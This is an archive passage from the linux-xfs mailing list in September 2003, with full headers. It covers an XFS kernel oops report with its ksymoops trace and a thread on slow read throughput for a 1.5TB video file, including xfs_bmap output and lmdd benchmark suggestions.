gepard kernel: Ending XFS recovery on filesystem: ide0(3,= >2) (dev: 3/2) A normal side effect of being unable to umount /. Fix the umount problem and this will go away. >More over , i added a new hard disk, WDC80GB, made xfs on it mounted. >when making hdparm -c1 -d1 /dev/hdb (hdb it is this disk) >i get=20 >Sep 24 15:32:40 gepard kernel: blk: queue c049fde0, I/O limit 4095Mb >(mask 0xffffffff) >Sep 24 15:32:40 gepard kernel: blk: queue c049ff28, I/O limit 4095Mb >(mask 0xffffffff) Normal kernel debugging messages from drivers/block/ll_rw_blk.c, nothing to do with XFS. From owner-linux-xfs@oss.sgi.com Thu Sep 25 04:54:39 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 04:55:03 -0700 (PDT) Received: from moving-picture.com (mpc-26.sohonet.co.uk [193.203.82.251]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PBsaFx014292 for ; Thu, 25 Sep 2003 04:54:38 -0700 Received: from darke.mpc.local ([172.16.11.6] helo=moving-picture.com) by moving-picture.com with esmtp (Exim 3.22 #1) id 1A2UhY-0006t5-00 for linux-xfs@oss.sgi.com; Thu, 25 Sep 2003 12:54:28 +0100 Message-ID: <3F72D773.C7EFB6DA@moving-picture.com> Date: Thu, 25 Sep 2003 12:54:27 +0100 From: James Pearson Organization: Moving Picture Company X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX64 6.5 IP30) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: xfs_iget_core: oops Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Disclaimer: This email and any attachments are confidential, may be legally X-Disclaimer: privileged and intended solely for the use of addressee. If you X-Disclaimer: are not the intended recipient of this message, any disclosure, X-Disclaimer: copying, distribution or any action taken in reliance on it is X-Disclaimer: strictly prohibited and may be unlawful. If you have received X-Disclaimer: this message in error, please notify the sender and delete all X-Disclaimer: copies from your system. X-Disclaimer: X-Disclaimer: Email may be susceptible to data corruption, interception and X-Disclaimer: unauthorised amendment, and we do not accept liability for any X-Disclaimer: such corruption, interception or amendment or the consequences X-Disclaimer: thereof. X-archive-position: 525 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james-p@moving-picture.com Precedence: bulk X-list: linux-xfs Content-Length: 4338 Lines: 111 Had a problem on one of my file servers - /var/adm/messages reported: xfs_iget_core: ambiguous vns: vp/0xf5dccb00, invp/0xe149b980 Followed by: kernel BUG at debug.c:106! (The ksymoops output is below.) Then: <5>xfs_force_shutdown(sd(8,17),0x8) called from line 1070 of file xfs_trans.c. Return address = 0xc01cda86 Filesystem "sd(8,17)": Corruption of in-memory data detected. Shutting down filesystem: sd(8,17) Please umount the filesystem, and rectify the problem(s) I'm using 2.4.21 kernel with XFS 1.3pre2 (haven't gone to 1.3 yet as it has been stable so far). Is this problem related to pre2, or is there some other problem? Thanks James Pearson Sep 25 07:42:15 golf kernel: kernel BUG at debug.c:106! Sep 25 07:42:15 golf kernel: invalid operand: 0000 Sep 25 07:42:15 golf kernel: CPU: 1 Sep 25 07:42:15 golf kernel: EIP: 0010:[cmn_err+140/160] Not tainted Sep 25 07:42:15 golf kernel: EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 Sep 25 07:42:15 golf kernel: EFLAGS: 00010246 Sep 25 07:42:15 golf kernel: eax: 00000040 ebx: 00000000 ecx: f6b06000 edx: f6ec9f44 Sep 25 07:42:15 golf kernel: esi: c02ae13c edi: c038933e ebp: 00000293 esp: f6b07c84 Sep 25 07:42:15 golf kernel: ds: 0018 es: 0018 ss: 0018 Sep 25 07:42:15 golf kernel: Process nfsd (pid: 951, stackpage=f6b07000) Sep 25 07:42:15 golf kernel: Stack: e149b9a0 f75d5d9c c949f430 e149b980 c01a2a28 00000000 c02aa520 f5dccb00 Sep 25 07:42:15 golf kernel: e149b980 f78ea800 f6b07ce8 c01b4229 00000000 00000000 47857baa 00000000 Sep 25 07:42:15 golf kernel: c949f430 e149b9a0 e149b980 00000000 00000000 c01a2e6d e149b980 f78ea800 Sep 25 07:42:15 golf kernel: Call Trace: [xfs_iget_core+296/1264] [xfs_mod_incore_sb_batch+73/144] [xfs_iget+125/352] [xfs_vget+75/192] [vfs_vget+33/48] Sep 25 07:42:15 golf kernel: Call Trace: [] [] [] [] [] Sep 25 07:42:15 golf kernel: [] [] [] [] [] [] Sep 25 07:42:15 golf kernel: [] [] [] [] [] [] Sep 25 07:42:15 golf kernel: [] [] [] [] [] [] Sep 25 07:42:15 golf kernel: [] [] [] Sep 25 07:42:15 golf kernel: Code: 0f 0b 6a 00 6e e1 2a c0 5b 5e 5f 5d c3 8d b4 26 00 00 00 00 >>EIP; c01ce35c <===== Trace; c01a2a28 Trace; c01b4229 Trace; c01a2e6d Trace; c01bb85b Trace; c01cd9a1 Trace; c01cd4ce Trace; f8a06f68 <[nfsd]nfsd_get_dentry+28/b0> Trace; f8a073df <[nfsd]find_fh_dentry+3f/350> Trace; f8a0799a <[nfsd]fh_verify+2aa/460> Trace; c01ce220 Trace; f8a08e37 <[nfsd]nfsd_open+27/230> Trace; f8a091ae <[nfsd]nfsd_read+3e/270> Trace; c023a09c Trace; f89d5c03 <[sunrpc]svc_udp_recvfrom+2d3/2e0> Trace; f8a0e761 <[nfsd]nfsd3_proc_read+121/180> Trace; f8a15458 <[nfsd]nfsd_procedures3+d8/320> Trace; f8a055c7 <[nfsd]nfsd_dispatch+b7/17b> Trace; f8a14d18 <[nfsd]nfsd_version3+0/10> Trace; f89d4fe8 <[sunrpc]svc_process+368/558> Trace; f8a15458 <[nfsd]nfsd_procedures3+d8/320> Trace; f8a14d18 <[nfsd]nfsd_version3+0/10> Trace; f8a14d38 <[nfsd]nfsd_program+0/18> Trace; f8a053bb <[nfsd]nfsd+20b/360> Trace; f8a051b0 <[nfsd]nfsd+0/360> Trace; c0107296 Trace; f8a051b0 <[nfsd]nfsd+0/360> Code; c01ce35c 00000000 <_EIP>: Code; c01ce35c <===== 0: 0f 0b ud2a <===== Code; c01ce35e 2: 6a 00 push $0x0 Code; c01ce360 4: 6e outsb %ds:(%esi),(%dx) Code; c01ce361 5: e1 2a loope 31 <_EIP+0x31> c01ce38d Code; c01ce363 7: c0 5b 5e 5f rcrb $0x5f,0x5e(%ebx) Code; c01ce367 b: 5d pop %ebp Code; c01ce368 c: c3 ret Code; c01ce369 d: 8d b4 26 00 00 00 00 lea 0x0(%esi,1),%esi From owner-linux-xfs@oss.sgi.com Thu Sep 25 05:43:40 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 05:43:56 -0700 (PDT) Received: from mail1.kth.se (mail1.kth.se [130.237.32.62]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PChcFx016585 for ; Thu, 25 Sep 2003 05:43:39 -0700 Received: from kth.se (citu-dhcp12.citu.kth.se [130.237.8.222]) by mail1.kth.se (8.12.10/8.12.9) with ESMTP id h8PChbWE011208 for ; Thu, 25 Sep 2003 14:43:37 +0200 (MEST) Message-ID: <3F72E2D4.1030109@kth.se> Date: Thu, 25 Sep 2003 14:43:00 +0200 From: Christoph Klocker User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030723 Thunderbird/0.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Dealing with a very large file -1,5TB Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 526 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cklocker@kth.se Precedence: bulk X-list: linux-xfs Content-Length: 1184 Lines: 39 Hi I am developing a system to stream very large uncompressed videofiles which are about 1,5TB. I need a bandwith of 195MB/s. my system is now: kernel: 2.4.18 xeon 2,4GHz 1GB RAM 3ware escalade controller 12 s-ata harddisks, seagate barracuda 7200.7 - 120GB - SCSI when I do different tests with bonnie++ I get very good results for a 2GB file, readperformance 249mb/s, but when the files get larger the speed is going down significantly. at 10GB - 216MB/s at 100GB - 187MB/s at 1TB - 161MB/s the write performance stays at 183MB/s any time, up to 1TB. As my harddisk have a sustained rate of 32-50 MB/s it should not be the case that they influence the results. I am now thinking maybe the filesystem influences the result when the disks are getting fuller. I thought also about that the logfiles get bigger and bigger and that maybe a reason. I had a look if its possible to switch of the logging completely (there is no reason to have it because I just have one file) , but I think its not possible with xfs. Is there a special parameter configuration for having just one file at this size (1,5TB) /Christoph _____________ Klocker Christoph KTH-AMT 10044 Stockholm From owner-linux-xfs@oss.sgi.com Thu Sep 25 06:29:40 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 06:29:47 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PDTcFx020203 for ; Thu, 25 Sep 2003 06:29:39 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 2274232CC2; Thu, 25 Sep 2003 15:29:32 +0200 (CEST) Received: from av-01.ch.sauter-bc.com (av-01.ch.sauter-bc.com [10.1.6.28]) by mailhub.ch.sauter-bc.com (Postfix) with SMTP id 84CEF32CD2; Thu, 25 Sep 2003 15:29:31 +0200 (CEST) Received: from mx-05-bsl.ch.sauter-bc.com ([10.1.6.20]) by av-01.ch.sauter-bc.com (SAVSMTP 3.1.2.35) with SMTP id M2003092515293105673 ; Thu, 25 Sep 2003 15:29:31 +0200 Received: from webmail.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mx-05-bsl.ch.sauter-bc.com (Postfix) with SMTP id 7B0864E20B; Thu, 25 Sep 2003 15:29:31 +0200 (CEST) Received: from 10.1.200.117 (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Thu, 25 Sep 2003 15:29:31 +0200 (CEST) Message-ID: <3466.10.1.200.117.1064496571.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <3F72E2D4.1030109@kth.se> References: <3F72E2D4.1030109@kth.se> Date: Thu, 25 Sep 2003 15:29:31 +0200 (CEST) Subject: Re: Dealing with a very large file -1,5TB From: "Simon Matter" To: "Christoph Klocker" Cc: linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8PDTeFx020210 X-archive-position: 527 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 1668 Lines: 56 Did you check the raw write speed of your devices using dd? When I did tests in the past I got almost the same speed with XFS like raw. Until you are sure your devices perform much better, XFS should not be involved too much. Simon > Hi > > I am developing a system to stream very large uncompressed videofiles > which are about 1,5TB. > I need a bandwith of 195MB/s. > my system is now: > kernel: 2.4.18 > xeon 2,4GHz > 1GB RAM > 3ware escalade controller 12 s-ata harddisks, seagate barracuda 7200.7 - > 120GB - SCSI > > when I do different tests with bonnie++ I get very good results for a > 2GB file, readperformance 249mb/s, > but when the files get larger the speed is going down significantly. > at 10GB - 216MB/s > at 100GB - 187MB/s > at 1TB - 161MB/s > the write performance stays at 183MB/s any time, up to 1TB. > As my harddisk have a sustained rate of 32-50 MB/s it should not be the > case that they influence the results. > I am now thinking maybe the filesystem influences the result when the > disks are getting fuller. I thought also about that the logfiles get > bigger and bigger and that maybe a reason. > > I had a look if its possible to switch of the logging completely (there > is no reason to have it because I just have one file) , but I think its > not possible with xfs. > > Is there a special parameter configuration for having just one file at > this size (1,5TB) > > /Christoph > > _____________ > Klocker Christoph > KTH-AMT > 10044 Stockholm > > > -- Simon Matter Tel: +41 61 695 57 35 Fr.Sauter AG / CIT Fax: +41 61 695 53 30 Im Surinam 55 CH-4016 Basel [mailto:simon.matter@ch.sauter-bc.com] From owner-linux-xfs@oss.sgi.com Thu Sep 25 06:37:41 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 06:37:46 -0700 (PDT) Received: from smtp3.cern.ch (smtp3.cern.ch [137.138.131.164]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PDbdFx020932 for ; Thu, 25 Sep 2003 06:37:40 -0700 Received: from chihiro.cern.ch (pcitadc13.cern.ch [137.138.34.18]) by smtp3.cern.ch (8.12.1-20030924/8.12.1) with ESMTP id h8PDbW20008359 for ; Thu, 25 Sep 2003 15:37:32 +0200 (MET DST) X-Authentication-Warning: smtp3.cern.ch: Host pcitadc13.cern.ch [137.138.34.18] claimed to be chihiro.cern.ch Received: by chihiro.cern.ch (Postfix, from userid 32266) id 12BEE1BA71; Thu, 25 Sep 2003 15:37:26 +0200 (CEST) Date: Thu, 25 Sep 2003 15:37:26 +0200 From: KELEMEN Peter To: linux-xfs@oss.sgi.com Subject: Re: Dealing with a very large file -1,5TB Message-ID: <20030925133726.GN25347@chihiro.cern.ch> Mail-Followup-To: linux-xfs@oss.sgi.com References: <3F72E2D4.1030109@kth.se> <3466.10.1.200.117.1064496571.squirrel@imap01.ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <3466.10.1.200.117.1064496571.squirrel@imap01.ch.sauter-bc.com> Organization: CERN European Laboratory for Particle Physics, Switzerland X-GPG-KeyID: 1024D/EE4C26E8 2000-03-20 X-GPG-Fingerprint: D402 4AF3 7488 165B CC34 4147 7F0C D922 EE4C 26E8 X-PGP-KeyID: 1024/45F83E45 1998/04/04 X-PGP-Fingerprint: 26 87 63 4B 07 28 1F AD 6D AA B5 8A D6 03 0F BF X-Comment: Personal opinion. Paragraphs might have been reformatted. X-Copyright: Forwarding or publishing without permission is prohibited. X-Accept-Language: hu,en User-Agent: Mutt/1.5.4i X-MIME-Autoconverted: from 8bit to quoted-printable by smtp3.cern.ch id h8PDbW20008359 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8PDbfFx020937 X-archive-position: 528 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Peter.Kelemen@cern.ch Precedence: bulk X-list: linux-xfs Content-Length: 783 Lines: 19 * Simon Matter (simon.matter@ch.sauter-bc.com) [20030925 15:29]: > Did you check the raw write speed of your devices using dd? When > I did tests in the past I got almost the same speed with XFS > like raw. Until you are sure your devices perform much better, > XFS should not be involved too much. What we observe here is that dd(8) write speed is significantly lower than XFS write speed, for large streaming writes (32x or 64x RAM size) on big RAID devices. While XFS churns away with 150M/s, dd(8) struggles with 55-60M/sec (regardless of blocksize). Peter -- .+'''+. .+'''+. .+'''+. .+'''+. .+'' Kelemen Péter / \ / \ Peter.Kelemen@cern.ch .+' `+...+' `+...+' `+...+' `+...+' From owner-linux-xfs@oss.sgi.com Thu Sep 25 06:58:23 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 06:58:44 -0700 (PDT) Received: from mail1.kth.se (mail1.kth.se [130.237.32.62]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PDwLFx021806 for ; Thu, 25 Sep 2003 06:58:22 -0700 Received: from kth.se (citu-dhcp12.citu.kth.se [130.237.8.222]) by mail1.kth.se (8.12.10/8.12.9) with ESMTP id h8PDwIWE026559; Thu, 25 Sep 2003 15:58:18 +0200 (MEST) Message-ID: <3F72F455.4000509@kth.se> Date: Thu, 25 Sep 2003 15:57:41 +0200 From: Christoph Klocker User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030723 Thunderbird/0.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Simon Matter CC: linux-xfs@oss.sgi.com Subject: Re: Dealing with a very large file -1,5TB References: <3F72E2D4.1030109@kth.se> <3466.10.1.200.117.1064496571.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <3466.10.1.200.117.1064496571.squirrel@imap01.ch.sauter-bc.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 529 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cklocker@kth.se Precedence: bulk X-list: linux-xfs Content-Length: 1753 Lines: 71 I had a look at the dd man page, but I couldn't find out how I use it to check the write speed, can you tell me how I should do it. /Christoph _____________ Klocker Christoph KTH-AMT 10044 Stockholm Simon Matter wrote: >Did you check the raw write speed of your devices using dd? When I did >tests in the past I got almost the same speed with XFS like raw. Until you >are sure your devices perform much better, XFS should not be involved too >much. > >Simon > > > >>Hi >> >>I am developing a system to stream very large uncompressed videofiles >>which are about 1,5TB. >>I need a bandwith of 195MB/s. >>my system is now: >>kernel: 2.4.18 >>xeon 2,4GHz >>1GB RAM >>3ware escalade controller 12 s-ata harddisks, seagate barracuda 7200.7 - >>120GB - SCSI >> >>when I do different tests with bonnie++ I get very good results for a >>2GB file, readperformance 249mb/s, >>but when the files get larger the speed is going down significantly. >>at 10GB - 216MB/s >>at 100GB - 187MB/s >>at 1TB - 161MB/s >>the write performance stays at 183MB/s any time, up to 1TB. >>As my harddisk have a sustained rate of 32-50 MB/s it should not be the >>case that they influence the results. >>I am now thinking maybe the filesystem influences the result when the >>disks are getting fuller. I thought also about that the logfiles get >>bigger and bigger and that maybe a reason. >> >>I had a look if its possible to switch of the logging completely (there >>is no reason to have it because I just have one file) , but I think its >>not possible with xfs. >> >>Is there a special parameter configuration for having just one file at >>this size (1,5TB) >> >>/Christoph >> >>_____________ >>Klocker Christoph >>KTH-AMT >>10044 Stockholm >> >> >> >> >> > > > > From owner-linux-xfs@oss.sgi.com Thu Sep 25 07:17:31 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 07:17:48 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PEHUFx022446 for ; Thu, 25 Sep 2003 07:17:30 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8PCKZOO009220 for ; Thu, 25 Sep 2003 05:20:35 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8PEHNcc11808675; Thu, 25 Sep 2003 09:17:23 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8PEHOSn29799707; Thu, 25 Sep 2003 09:17:24 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8PEHNkf000950; Thu, 25 Sep 2003 09:17:23 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8PEHLXv000948; Thu, 25 Sep 2003 09:17:21 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: Dealing with a very large file -1,5TB From: Steve Lord To: Christoph Klocker Cc: Simon Matter , linux-xfs@oss.sgi.com In-Reply-To: <3F72F455.4000509@kth.se> References: <3F72E2D4.1030109@kth.se> <3466.10.1.200.117.1064496571.squirrel@imap01.ch.sauter-bc.com> <3F72F455.4000509@kth.se> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064499440.28120.54.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 25 Sep 2003 09:17:21 -0500 X-archive-position: 530 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1099 Lines: 31 On Thu, 2003-09-25 at 08:57, Christoph Klocker wrote: > I had a look at the dd man page, but I couldn't find out how I use it to > check the write speed, can you tell me how I should do it. Try looking for lmdd instead, you will need to pull it off the net as it is not a standard part of a distribution. As for your original question, since you have 1G of memory, when bonnie++ completes its write, a large percentage of the data is still in ram, once you ramp up the size, the percentage is smaller. To measure real disk performance you need to flush out to disk, this does not totally explain your drop off, but does explain some of it. Two suggestions: Run xfs_bmap -v on one of your files after the run has completed and send us the output. Read the xfsctl man page and look at the space preallocation calls. You could also try O_DIRECT writes here if you have control of the app. lmdd can be built O_DIRECT capabable I think. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Sep 25 08:20:28 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 08:20:45 -0700 (PDT) Received: from mail1.kth.se (mail1.kth.se [130.237.32.62]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PFKPFx028489 for ; Thu, 25 Sep 2003 08:20:28 -0700 Received: from kth.se (maedhros.admin.kth.se [130.237.32.53]) by mail1.kth.se (8.12.10/8.12.9) with SMTP id h8PFKNWE012559; Thu, 25 Sep 2003 17:20:23 +0200 (MEST) Message-ID: <11941-220039425152023140@kth.se> X-EM-Version: 6, 0, 1, 0 X-EM-Registration: #0000630010A41E00EC40 X-Originating-IP: From: "Christoph Klocker" To: lord@sgi.com, cklocker@kth.se Cc: linux-xfs@oss.sgi.com Subject: =?iso-8859-1?Q?Re:_Dealing_with_a_very_large_file_-1,5T?= =?iso-8859-1?Q?B?= Date: Thu, 25 Sep 2003 17:20:23 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by mail1.kth.se id h8PFKNWE012559 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8PFKSFx028492 X-archive-position: 532 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cklocker@kth.se Precedence: bulk X-list: linux-xfs Content-Length: 3868 Lines: 111 I created a 100GB file with bonnie++, then I run xfs_bmap on it, this is the output: EXT: FILE-OFFSET BLOCK-RANGE AG AG-OFFSET TOTAL 0: [0..8376063]: 2172649600..2181025663 259 (128..8376191) 8376064 1: [8376064..16746623]: 2181038208..2189408767 260 (128..8370687) 8370560 2: [16746624..25127551]: 2189426816..2197807743 261 (128..8381055) 8380928 3: [25127552..33485183]: 2197815424..2206173055 262 (128..8357759) 8357632 4: [33485184..41868415]: 2206204032..2214587263 263 (128..8383359) 8383232 5: [41868416..50236543]: 2214592640..2222960767 264 (128..8368255) 8368128 6: [50236544..58570367]: 2222981248..2231315071 265 (128..8333951) 8333824 7: [58570368..66937983]: 2231369856..2239737471 266 (128..8367743) 8367616 8: [66937984..75270911]: 2239758464..2248091391 267 (128..8333055) 8332928 9: [75270912..83652863]: 2248147072..2256529023 268 (128..8382079) 8381952 10: [83652864..92038527]: 2256535680..2264921343 269 (128..8385791) 8385664 11: [92038528..100404095]: 2264924288..2273289855 270 (128..8365695) 8365568 12: [100404096..108774015]: 2273312896..2281682815 271 (128..8370047) 8369920 13: [108774016..117129983]: 2281701504..2290057471 272 (128..8356095) 8355968 14: [117129984..125485439]: 2290090112..2298445567 273 (128..8355583) 8355456 15: [125485440..133853183]: 2298478720..2306846463 274 (128..8367871) 8367744 16: [133853184..142209023]: 2306867328..2315223167 275 (128..8355967) 8355840 17: [142209024..150577279]: 2315255936..2323624191 276 (128..8368383) 8368256 18: [150577280..158957183]: 2323644544..2332024447 277 (128..8380031) 8379904 19: [158957184..167322495]: 2332033152..2340398463 278 (128..8365439) 8365312 20: [167322496..175695487]: 2340421760..2348794751 279 (128..8373119) 8372992 21: [175695488..184040575]: 2348810368..2357155455 280 (128..8345215) 8345088 22: [184040576..192397567]: 2357198976..2365555967 281 (128..8357119) 8356992 23: [192397568..200776959]: 2365587584..2373966975 282 (128..8379519) 8379392 24: [200776960..209165055]: 2373976192..2382364287 283 (128..8388223) 8388096 25: [209165056..209715199]: 2382364800..2382914943 284 (128..550271) 550144 then I did the benchmark how they were described in the man page I found on the web. [root@localhost lmdd]# ./lmdd if=internal of=/raid/XXX count=1000 fsync=1 8.1920 MB in 2.2116 secs, 3.7041 MB/sec unmounted and mounted again [root@localhost lmdd]# ./lmdd if=/raid/XXX of=internal 8.1920 MB in 0.0776 secs, 105.6065 MB/sec the 105 MB/s seem to be very slow, /christoph ------- Ursprungligt brev ------- Från: lord@sgi.com Datum: 25 Sep 2003 09:17:21 -0500 On Thu, 2003-09-25 at 08:57, Christoph Klocker wrote: > I had a look at the dd man page, but I couldn't find out how I use it to > check the write speed, can you tell me how I should do it. Try looking for lmdd instead, you will need to pull it off the net as it is not a standard part of a distribution. As for your original question, since you have 1G of memory, when bonnie++ completes its write, a large percentage of the data is still in ram, once you ramp up the size, the percentage is smaller. To measure real disk performance you need to flush out to disk, this does not totally explain your drop off, but does explain some of it. Two suggestions: Run xfs_bmap -v on one of your files after the run has completed and send us the output. Read the xfsctl man page and look at the space preallocation calls. You could also try O_DIRECT writes here if you have control of the app. lmdd can be built O_DIRECT capabable I think. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Sep 25 09:17:01 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 09:17:18 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGH1Fx001138 for ; Thu, 25 Sep 2003 09:17:01 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8PEK6OO021116 for ; Thu, 25 Sep 2003 07:20:06 -0700 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.232.87]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8PGGtcc11766497; Thu, 25 Sep 2003 11:16:55 -0500 (CDT) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 1A2YnW-0003pw-00; Thu, 25 Sep 2003 11:16:54 -0500 Date: Thu, 25 Sep 2003 11:16:54 -0500 From: Nathan Straz To: Christoph Klocker Cc: linux-xfs@oss.sgi.com Subject: Re: Dealing with a very large file -1,5TB Message-ID: <20030925161654.GA12344@sgi.com> Mail-Followup-To: Christoph Klocker , linux-xfs@oss.sgi.com References: <11941-220039425152023140@kth.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <11941-220039425152023140@kth.se> User-Agent: Mutt/1.5.3i X-archive-position: 533 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 825 Lines: 21 On Thu, Sep 25, 2003 at 05:20:23PM +0200, Christoph Klocker wrote: > then I did the benchmark how they were described in the man page I found on > the web. > [root@localhost lmdd]# ./lmdd if=internal of=/raid/XXX count=1000 fsync=1 > 8.1920 MB in 2.2116 secs, 3.7041 MB/sec > > unmounted and mounted again > [root@localhost lmdd]# ./lmdd if=/raid/XXX of=internal > 8.1920 MB in 0.0776 secs, 105.6065 MB/sec > > the 105 MB/s seem to be very slow, I find that you really have to increase the block size you're using for I/O. Try adding "bs=1024" or similar to your command lines. Also try "odirect=1." -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Thu Sep 25 10:52:28 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 25 Sep 2003 10:52:50 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PHqSFx014040 for ; Thu, 25 Sep 2003 10:52:28 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8PFtYOO030552 for ; Thu, 25 Sep 2003 08:55:34 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8PHqMcc11770141; Thu, 25 Sep 2003 12:52:22 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8PHqMSn30110312; Thu, 25 Sep 2003 12:52:22 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8PHqLkf001339; 